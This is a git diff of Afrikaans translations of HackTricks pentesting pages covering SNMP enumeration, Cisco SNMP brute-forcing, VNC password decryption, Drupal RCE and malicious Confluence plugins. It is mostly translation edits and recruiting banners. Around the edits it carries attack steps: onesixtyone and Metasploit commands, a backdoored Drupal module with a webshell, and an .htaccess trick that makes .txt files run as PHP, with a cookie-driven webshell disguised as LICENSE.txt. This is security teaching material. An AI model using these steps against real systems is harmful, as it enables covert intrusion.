Hierdie eerste ses waardes is geneig om dieselfde te wees vir alle toestelle en hulle gee jou die basiese inligting oor hulle. Hierdie volgorde van nommers sal dieselfde wees vir alle OIDs, behalwe wanneer die toestel deur die regering gemaak is.
|
||||||
|
|
||||||
|
@ -98,7 +98,7 @@ Daar is **2 tipes gemeenskapsstrings**:
|
||||||
* **`public`** hoofsaaklik **lees net** funksies
|
* **`public`** hoofsaaklik **lees net** funksies
|
||||||
* **`private`** **Lees/Skryf** in die algemeen
|
* **`private`** **Lees/Skryf** in die algemeen
|
||||||
|
|
||||||
Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk **sekere waardes skryf.** Ook, daar **kan** voorwerpe wees wat **altyd "Lees Net"** is.\
|
Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk **sekere waardes skryf.** Daar **kan** ook voorwerpe wees wat **altyd "Lees Net"** is.\
|
||||||
As jy probeer om 'n objek te **skryf**, sal 'n **`noSuchName` of `readOnly` fout** ontvang word\*\*.\*\*
|
As jy probeer om 'n objek te **skryf**, sal 'n **`noSuchName` of `readOnly` fout** ontvang word\*\*.\*\*
|
||||||
|
|
||||||
In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die bediener nie **reageer** nie. So, as dit reageer, is 'n **geldige gemeenskapsstring gebruik**.
|
In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die bediener nie **reageer** nie. So, as dit reageer, is 'n **geldige gemeenskapsstring gebruik**.
|
||||||
|
@ -109,13 +109,13 @@ In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die b
|
||||||
|
|
||||||
* Die SNMP-agent ontvang versoeke op UDP-poort **161**.
|
* Die SNMP-agent ontvang versoeke op UDP-poort **161**.
|
||||||
* Die bestuurder ontvang kennisgewings ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) en [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) op poort **162**.
|
* Die bestuurder ontvang kennisgewings ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) en [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) op poort **162**.
|
||||||
* Wanneer dit gebruik word met [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) of [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), word versoeke ontvang op poort **10161** en kennisgewings word gestuur na poort **10162**.
|
* Wanneer dit saam met [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) of [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) gebruik word, word versoeke op poort **10161** ontvang en kennisgewings word na poort **10162** gestuur.
|
||||||
|
|
||||||
## Brute-Force Gemeenskapsstring (v1 en v2c)
|
## Brute-Force Gemeenskapsstring (v1 en v2c)
|
||||||
|
|
||||||
Om die **gemeenskapsstring te raai** kan jy 'n woordeboekaanval uitvoer. Kyk [hier verskillende maniere om 'n brute-force aanval teen SNMP uit te voer](../../generic-methodologies-and-resources/brute-force.md#snmp). 'n Gereeld gebruikte gemeenskapsstring is `public`.
|
Om die **gemeenskapsstring te raai**, kan jy 'n woordeboekaanval uitvoer. Kyk [hier verskillende maniere om 'n brute-force aanval teen SNMP uit te voer](../../generic-methodologies-and-resources/brute-force.md#snmp). 'n Gereeld gebruikte gemeenskapsstring is `public`.
|
||||||
|
|
||||||
## SNMP Opname
|
## Enumerating SNMP
|
||||||
|
|
||||||
Dit word aanbeveel om die volgende te installeer om te sien wat **elke OID wat van die toestel versamel is, beteken**:
|
Dit word aanbeveel om die volgende te installeer om te sien wat **elke OID wat van die toestel versamel is, beteken**:
|
||||||
```bash
|
```bash
|
||||||
|
@ -170,8 +170,8 @@ Albei opdragte vereis 'n **gemeenskapsstring** en die relevante IP-adres, wat vo
|
||||||
* **Stelselsprosesse**: Toegang via `1.3.6.1.2.1.25.1.6.0`, hierdie parameter stel die monitering van aktiewe prosesse binne die stelsel moontlik.
|
* **Stelselsprosesse**: Toegang via `1.3.6.1.2.1.25.1.6.0`, hierdie parameter stel die monitering van aktiewe prosesse binne die stelsel moontlik.
|
||||||
* **Lopende Programme**: Die `1.3.6.1.2.1.25.4.2.1.2` waarde is aangewys vir die opsporing van tans lopende programme.
|
* **Lopende Programme**: Die `1.3.6.1.2.1.25.4.2.1.2` waarde is aangewys vir die opsporing van tans lopende programme.
|
||||||
* **Prosesse Pad**: Om te bepaal waar 'n proses van loop, word die `1.3.6.1.2.1.25.4.2.1.4` MIB waarde gebruik.
|
* **Prosesse Pad**: Om te bepaal waar 'n proses van loop, word die `1.3.6.1.2.1.25.4.2.1.4` MIB waarde gebruik.
|
||||||
* **Stoor Eenhede**: Die monitering van stoor eenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`.
|
* **Bergingseenhede**: Die monitering van bergingseenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`.
|
||||||
* **Sagtemakenaam**: Om die sagteware wat op 'n stelsel geïnstalleer is te identifiseer, word `1.3.6.1.2.1.25.6.3.1.2` gebruik.
|
* **Sagteware Naam**: Om die sagteware wat op 'n stelsel geïnstalleer is te identifiseer, word `1.3.6.1.2.1.25.6.3.1.2` gebruik.
|
||||||
* **Gebruikersrekeninge**: Die `1.3.6.1.4.1.77.1.2.25` waarde stel die opsporing van gebruikersrekeninge moontlik.
|
* **Gebruikersrekeninge**: Die `1.3.6.1.4.1.77.1.2.25` waarde stel die opsporing van gebruikersrekeninge moontlik.
|
||||||
* **TCP Plaaslike Poorte**: Laastens, `1.3.6.1.2.1.6.13.1.3` is aangewys vir die monitering van TCP plaaslike poorte, wat insig bied in aktiewe netwerkverbindinge.
|
* **TCP Plaaslike Poorte**: Laastens, `1.3.6.1.2.1.6.13.1.3` is aangewys vir die monitering van TCP plaaslike poorte, wat insig bied in aktiewe netwerkverbindinge.
|
||||||
|
|
||||||
|
@ -185,7 +185,7 @@ Kyk na hierdie bladsy as jy Cisco-toerusting het:
|
||||||
|
|
||||||
## Van SNMP na RCE
|
## Van SNMP na RCE
|
||||||
|
|
||||||
As jy die **string** het wat jou toelaat om **waardes** binne die SNMP-diens te **skryf**, mag jy dit misbruik om **opdragte** uit te voer:
|
As jy die **string** het wat jou toelaat om **waardes** binne die SNMP-diens te **skryf**, kan jy dit misbruik om **opdragte** uit te voer:
|
||||||
|
|
||||||
{% content-ref url="snmp-rce.md" %}
|
{% content-ref url="snmp-rce.md" %}
|
||||||
[snmp-rce.md](snmp-rce.md)
|
[snmp-rce.md](snmp-rce.md)
|
||||||
|
@ -231,7 +231,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||||
```
|
```
|
||||||
## Modifying SNMP values
|
## Modifying SNMP values
|
||||||
|
|
||||||
Jy kan _**NetScanTools**_ gebruik om **waardes** te **wysig**. Jy sal die **private string** moet ken om dit te doen.
|
Jy kan _**NetScanTools**_ gebruik om **waardes** te **wysig**. Jy sal die **privaat string** moet ken om dit te doen.
|
||||||
|
|
||||||
## Spoofing
|
## Spoofing
|
||||||
|
|
||||||
|
@ -243,9 +243,9 @@ As daar 'n ACL is wat slegs sekere IP's toelaat om die SNMP-diens te vra, kan jy
|
||||||
* snmpd.conf
|
* snmpd.conf
|
||||||
* snmp-config.xml
|
* snmp-config.xml
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking career** en die onhackable te hack - **ons huur aan!** (_vloeiende Pools skriftelik en geselskaplik vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -6,26 +6,26 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na personeel!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## Pentesting Cisco Networks
|
## Pentesting Cisco Netwerke
|
||||||
|
|
||||||
**SNMP** funksioneer oor UDP met poorte 161/UDP vir algemene boodskappe en 162/UDP vir valboodskappe. Hierdie protokol staat op gemeenskapsstringe, wat as wagwoorde dien wat kommunikasie tussen SNMP-agente en bedieners moontlik maak. Hierdie stringe is van kardinale belang omdat hulle toegangsvlakke bepaal, spesifiek **slegs lees (RO) of lees-skrif (RW) regte**. 'n Opmerkelijke aanvalsvlak vir pentesters is die **brute-forcing van gemeenskapsstringe**, met die doel om netwerktoestelle binne te dring.
|
**SNMP** funksioneer oor UDP met poorte 161/UDP vir algemene boodskappe en 162/UDP vir valboodskappe. Hierdie protokol staat op gemeenskapsstringe, wat as wagwoorde dien wat kommunikasie tussen SNMP-agente en bedieners moontlik maak. Hierdie stringe is van kardinale belang omdat hulle toegangsvlakke bepaal, spesifiek **slegs lees (RO) of lees-skrif (RW) regte**. 'n Opmerkelijke aanvalsvlak vir pentesters is die **brute-forcing van gemeenskapsstringe**, met die doel om netwerktoestelle binne te dring.
|
||||||
|
|
||||||
'n Praktiese hulpmiddel om sulke brute-force aanvalle uit te voer is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys van potensiële gemeenskapsstringe en die IP-adresse van die teikens vereis:
|
'n Praktiese hulpmiddel om sulke brute-force-aanvalle uit te voer is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys van potensiële gemeenskapsstringe en die IP-adresse van die teikens vereis:
|
||||||
```bash
|
```bash
|
||||||
onesixtyone -c communitystrings -i targets
|
onesixtyone -c communitystrings -i targets
|
||||||
```
|
```
|
||||||
|
@ -42,7 +42,7 @@ Na konfigurasie, stel hierdie module die aflaai van toestelinstellings direk na
|
||||||
|
|
||||||
#### `snmp_enum`
|
#### `snmp_enum`
|
||||||
|
|
||||||
Nog 'n Metasploit module, **`snmp_enum`**, spesialiseer in die insameling van gedetailleerde hardeware-inligting. Dit werk met enige tipe gemeenskaplike string en vereis die teiken se IP-adres vir suksesvolle uitvoering:
|
Nog 'n Metasploit-module, **`snmp_enum`**, spesialiseer in die versameling van gedetailleerde hardeware-inligting. Dit werk met enige tipe gemeenskaplike string en vereis die teiken se IP-adres vir suksesvolle uitvoering:
|
||||||
```bash
|
```bash
|
||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||||
|
@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||||
|
|
||||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in **hacking loopbaan** en om die onhackable te hack - **ons huur aan!** (_vloeiende Pools geskryf en gesproke vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na personeel!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -51,7 +51,7 @@ make
|
||||||
vncpwd <vnc password file>
|
vncpwd <vnc password file>
|
||||||
```
|
```
|
||||||
You can do this because the password used inside 3des to encrypt the plain-text VNC passwords was reversed years ago.\
|
You can do this because the password used inside 3des to encrypt the plain-text VNC passwords was reversed years ago.\
|
||||||
Vir **Windows** kan jy ook hierdie hulpmiddel gebruik: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
For **Windows** you can also use this tool: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||||
Ek stoor die hulpmiddel hier ook vir maklike toegang:
|
Ek stoor die hulpmiddel hier ook vir maklike toegang:
|
||||||
|
|
||||||
{% file src="../.gitbook/assets/vncpwd.zip" %}
|
{% file src="../.gitbook/assets/vncpwd.zip" %}
|
||||||
|
@ -60,7 +60,7 @@ Ek stoor die hulpmiddel hier ook vir maklike toegang:
|
||||||
|
|
||||||
* `port:5900 RFB`
|
* `port:5900 RFB`
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_vloeiend Pools geskryf en gesproke vereis_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -21,7 +21,7 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
||||||
In ouer weergawes van Drupal **(voor weergawe 8)**, was dit moontlik om as 'n admin aan te meld en **die `PHP filter` module te aktiveer**, wat "Ingebedde PHP kode/snippets toelaat om geëvalueer te word." Maar vanaf weergawe 8 is hierdie module nie standaard geïnstalleer nie.
|
In ouer weergawes van Drupal **(voor weergawe 8)**, was dit moontlik om as 'n admin aan te meld en **die `PHP filter` module te aktiveer**, wat "Ingebedde PHP kode/snippets toelaat om geëvalueer te word." Maar vanaf weergawe 8 is hierdie module nie standaard geïnstalleer nie.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Jy moet die **plugin php geïnstalleer hê** (kontroleer dit deur toegang te verkry tot _/modules/php_ en as dit 'n **403** teruggee, dan **bestaan dit**, as **nie gevind nie**, dan is die **plugin php nie geïnstalleer nie**)
|
Jy moet die **plugin php geïnstalleer hê** (kyk dit deur toegang te verkry tot _/modules/php_ en as dit 'n **403** teruggee, dan **bestaan dit**, as **nie gevind nie**, dan is die **plugin php nie geïnstalleer nie**)
|
||||||
|
|
||||||
Gaan na _Modules_ -> (**Kontroleer**) _PHP Filter_ -> _Stoor konfigurasie_
|
Gaan na _Modules_ -> (**Kontroleer**) _PHP Filter_ -> _Stoor konfigurasie_
|
||||||
|
|
||||||
|
@ -80,7 +80,7 @@ RewriteBase /
|
||||||
mv shell.php .htaccess captcha
|
mv shell.php .htaccess captcha
|
||||||
tar cvf captcha.tar.gz captcha/
|
tar cvf captcha.tar.gz captcha/
|
||||||
```
|
```
|
||||||
* Aangesien ons **administratiewe toegang** tot die webwerf het, klik op **`Manage`** en dan **`Extend`** in die sybalk. Klik dan op die **`+ Install new module`** knoppie, en ons sal na die installasiebladsy geneem word, soos `http://drupal-site.local/admin/modules/install`. Blaai na die backdoored Captcha-argief en klik op **`Install`**.
|
* Aangesien ons **administratiewe toegang** tot die webwerf het, klik op **`Bestuur`** en dan **`Verleng`** in die sybalk. Klik dan op die **`+ Installeer nuwe module`** knoppie, en ons sal na die installasiebladsy geneem word, soos `http://drupal-site.local/admin/modules/install`. Blaai na die backdoored Captcha-argief en klik op **`Installeer`**.
|
||||||
* Sodra die installasie suksesvol is, blaai na **`/modules/captcha/shell.php`** om opdragte uit te voer.
|
* Sodra die installasie suksesvol is, blaai na **`/modules/captcha/shell.php`** om opdragte uit te voer.
|
||||||
|
|
||||||
## Backdooring Drupal met Konfigurasiesinkronisasie <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
## Backdooring Drupal met Konfigurasiesinkronisasie <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||||
|
@ -89,7 +89,7 @@ tar cvf captcha.tar.gz captcha/
|
||||||
|
|
||||||
### Deel 1 (aktivering van _Media_ en _Media Biblioteek_)
|
### Deel 1 (aktivering van _Media_ en _Media Biblioteek_)
|
||||||
|
|
||||||
In die _Extend_ menu (/admin/modules), kan jy aktiveer wat blyk reeds geïnstalleerde plugins te wees. Standaard, blyk die plugins _Media_ en _Media Biblioteek_ nie geaktiveer te wees nie, so kom ons aktiveer hulle.
|
In die _Verleng_ menu (/admin/modules), kan jy aktiveer wat blyk reeds geïnstalleerde plugins te wees. Standaard, blyk plugins _Media_ en _Media Biblioteek_ nie geaktiveer te wees nie, so kom ons aktiveer hulle.
|
||||||
|
|
||||||
Voor aktivering:
|
Voor aktivering:
|
||||||
|
|
||||||
|
@ -97,7 +97,7 @@ Voor aktivering:
|
||||||
|
|
||||||
Na aktivering:
|
Na aktivering:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -112,7 +112,7 @@ Ons sal die _Konfigurasiesinkronisasie_ funksie benut om Drupal konfigurasie-inv
|
||||||
|
|
||||||
Kom ons begin deur die eerste invoer `allow_insecure_uploads` te patch vanaf:
|
Kom ons begin deur die eerste invoer `allow_insecure_uploads` te patch vanaf:
|
||||||
|
|
||||||
File: system.file.yml
|
Lêer: system.file.yml
|
||||||
```
|
```
|
||||||
|
|
||||||
...
|
...
|
||||||
|
@ -172,9 +172,9 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
||||||
|
|
||||||
### Deel 3 (benutting van funksie _Voeg Dokument by_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
### Deel 3 (benutting van funksie _Voeg Dokument by_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||||
|
|
||||||
Die laaste stap is die eenvoudigste, en is opgebroke in twee sub-stappe. Die eerste is om 'n lêer in .htaccess formaat op te laai om die Apache riglyne te benut en .txt lêers toe te laat om deur die PHP enjin geïnterpreteer te word. Die tweede is om 'n .txt lêer op te laai wat ons payload bevat.
|
Die laaste stap is die eenvoudigste, en is opgebroke in twee sub-stappe. Die eerste is om 'n lêer in .htaccess-formaat op te laai om die Apache-riglyne te benut en .txt-lêers toe te laat om deur die PHP-enjin geïnterpreteer te word. Die tweede is om 'n .txt-lêer op te laai wat ons payload bevat.
|
||||||
|
|
||||||
File: .htaccess
|
Lêer: .htaccess
|
||||||
```
|
```
|
||||||
<Files *>
|
<Files *>
|
||||||
SetHandler application/x-httpd-php
|
SetHandler application/x-httpd-php
|
||||||
|
@ -194,7 +194,7 @@ php_flag engine on
|
||||||
```
|
```
|
||||||
Waarom is hierdie truuk cool?
|
Waarom is hierdie truuk cool?
|
||||||
|
|
||||||
Omdat wanneer die Webshell (wat ons LICENSE.txt sal noem) op die Webbediener gelaai word, ons ons opdragte via `$_COOKIE` kan oordra en in die Webbediener logs, sal dit as 'n legitieme GET-versoek na 'n tekslêer verskyn.
|
Omdat wanneer die Webshell (wat ons LICENSE.txt sal noem) op die Webbediener gelaai word, ons ons opdragte via `$_COOKIE` kan oordra en in die Webbediener logs, sal dit verskyn as 'n legitieme GET-versoek na 'n tekslêer.
|
||||||
|
|
||||||
Waarom noem ons ons Webshell LICENSE.txt?
|
Waarom noem ons ons Webshell LICENSE.txt?
|
||||||
|
|
||||||
|
|
|
@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na personeel!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na personeel!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -120,18 +120,18 @@ Sodra 'n XSS gevind is, kan jy in [**hierdie github repo**](https://github.com/c
|
||||||
|
|
||||||
[**Hierdie pos**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) beskryf verskillende (kwaadwillige) aksies wat 'n kwaadwillige Jira plugin kan uitvoer. Jy kan [**kode voorbeeld in hierdie repo**](https://github.com/cyllective/malfluence) vind.
|
[**Hierdie pos**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) beskryf verskillende (kwaadwillige) aksies wat 'n kwaadwillige Jira plugin kan uitvoer. Jy kan [**kode voorbeeld in hierdie repo**](https://github.com/cyllective/malfluence) vind.
|
||||||
|
|
||||||
Hierdie is 'n paar van die aksies wat 'n kwaadwillige plugin kan uitvoer:
|
Hierdie is sommige van die aksies wat 'n kwaadwillige plugin kan uitvoer:
|
||||||
|
|
||||||
* **Plugins vir Administrators wegsteek**: Dit is moontlik om die kwaadwillige plugin weg te steek deur 'n paar front-end javascript in te voeg.
|
* **Plugins van Administrators wegsteek**: Dit is moontlik om die kwaadwillige plugin weg te steek deur 'n paar front-end javascript in te voeg.
|
||||||
* **Exfiltrering van Aanhangsels en Bladsye**: Laat toe om toegang te verkry en al die data te exfiltreer.
|
* **Exfiltrering van Aanhangsels en Bladsye**: Laat toe om toegang te verkry en al die data te exfiltreer.
|
||||||
* **Steling van Sessietokens**: Voeg 'n eindpunt by wat die headers in die antwoord (met die koekie) sal weergee en 'n paar javascript wat dit sal kontak en die koekies sal lek.
|
* **Steling van Sessietokens**: Voeg 'n eindpunt by wat die headers in die antwoord (met die koekie) sal weergee en 'n paar javascript wat dit sal kontak en die koekies sal lek.
|
||||||
* **Opdraguitvoering**: Dit is natuurlik moontlik om 'n plugin te skep wat kode sal uitvoer.
|
* **Opdraguitvoering**: Dit is natuurlik moontlik om 'n plugin te skep wat kode sal uitvoer.
|
||||||
* **Reverse Shell**: Of kry 'n reverse shell.
|
* **Reverse Shell**: Of kry 'n reverse shell.
|
||||||
* **DOM Proxying**: As die confluence binne 'n private netwerk is, sal dit moontlik wees om 'n verbinding deur die blaaier van 'n gebruiker met toegang daartoe te vestig en byvoorbeeld die bediener opdragte deur dit uit te voer.
|
* **DOM Proxying**: As die confluence binne 'n private netwerk is, sal dit moontlik wees om 'n verbinding deur die blaaier van 'n gebruiker met toegang daartoe te vestig en byvoorbeeld die bediener opdragte deur dit uit te voer.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
